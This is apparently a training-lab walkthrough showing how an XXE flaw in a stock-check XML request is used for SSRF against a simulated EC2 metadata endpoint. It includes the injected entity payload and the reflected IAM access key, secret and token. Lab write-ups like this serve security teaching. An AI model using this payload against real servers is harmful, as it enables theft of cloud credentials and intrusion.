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# lab-2

## Exploiting XXE to Perform SSRF Attacks

**Difficulty:** Apprentice

### Lab Description

This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response. The lab server runs a simulated EC2 metadata endpoint at the default URL `http://169.254.169.254/`, which can be used to retrieve sensitive instance data.

**Objective:** Exploit the XXE vulnerability to perform an SSRF attack that obtains the server's IAM secret access key from the EC2 metadata endpoint.

### Solution

**Step 1 — Locate the vulnerable request**

Navigate to:

```
https://your-lab-id.web-security-academy.net/product?productId=3
```

Click **Check stock**, then intercept the request in Burp Suite. You'll see an XML body like this:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>3</productId>
    <storeId>1</storeId>
</stockCheck>
```

**Step 2 — Inject an external entity targeting the metadata endpoint**

Since the goal is to make the server fetch the EC2 metadata endpoint via SSRF, define an external entity that points to it:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY file SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck>
    <productId>&file;</productId>
    <storeId>1</storeId>
</stockCheck>
```

**Step 3 — Send the request**

The server fetches the URL on the parser's behalf and reflects the response back:

```
Invalid product ID: {
  "Code" : "Success",
  "LastUpdated" : "2026-06-18T07:45:41.379803198Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ojvkmKARZhzqBnUOJw5F",
  "SecretAccessKey" : "TDIwB4itWGpqqU0sNodS7LJArhscZGmmZD4DfBO4",
  "Token" : "XgQ0AZA3wuaHXCq1YWHlaNA2QEMLO0pWnEeKLUSrIPrsbQKIew1MDadlSlHUrh4hQXi8ceR22fGHo4slEYxP1tZyhGFY3fwEsX3aNou6DTgCHrgtJWXknrY8AhK1um6gcFLwlHfASIi6JWBgQDF0Sg0EwL8SoKGWrHeyOGP2EgHoR3PyZC5ujki7rhgHIG5lKkDrkT9Wu9d5Gm4YJ0QoWj6F5Ec2iWQzI3cEY1glT4BcupDYR2TZTuVrSypQQor8",
  "Expiration" : "2032-06-16T07:45:41.379803198Z"
}
```

The `SecretAccessKey` value is what the lab requires for completion.

### Conclusion

By abusing the XXE vulnerability, the XML parser was coerced into making an outbound HTTP request to an internal-only endpoint (SSRF), exposing cloud credentials that should never be reachable from outside the instance.


---

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